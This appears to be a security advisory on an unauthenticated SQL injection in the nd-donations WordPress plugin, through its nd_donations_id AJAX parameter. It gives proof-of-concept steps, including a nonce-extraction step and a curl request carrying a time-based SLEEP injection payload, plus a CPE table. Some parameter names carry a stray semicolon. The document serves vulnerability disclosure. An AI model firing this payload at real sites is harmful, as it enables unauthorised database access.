The plugin does not sanitise and escape the nd_donations_id parameter before using it in a SQL statement via the nd_donations_single_cause_form_validate_fields_php_function AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection
Create a new “Cause” and fill out the form under “ND Donations - Cause Main Settings” (price and color, price should be a value > 1) Publish the “Cause” Visit the just created “Cause” page as an unauthenticated user and extract the nonce (CTRL+F for “nd_donations_ajaxnonce_single_cause_form_validate_fields” in the page source) curl ‘https://example.com/wp-admin/admin-ajax.php?action=nd_donations_single_cause_form_validate_fields_php_function&nd;_donations_value=300&nd;_donations_form_validate_fields_security=&nd;_donations_id=1+AND+(SELECT+1739+FROM+(SELECT(SLEEP(5)))APRr)’
CPE | Name | Operator | Version |
---|---|---|---|
nd-donations | eq | * |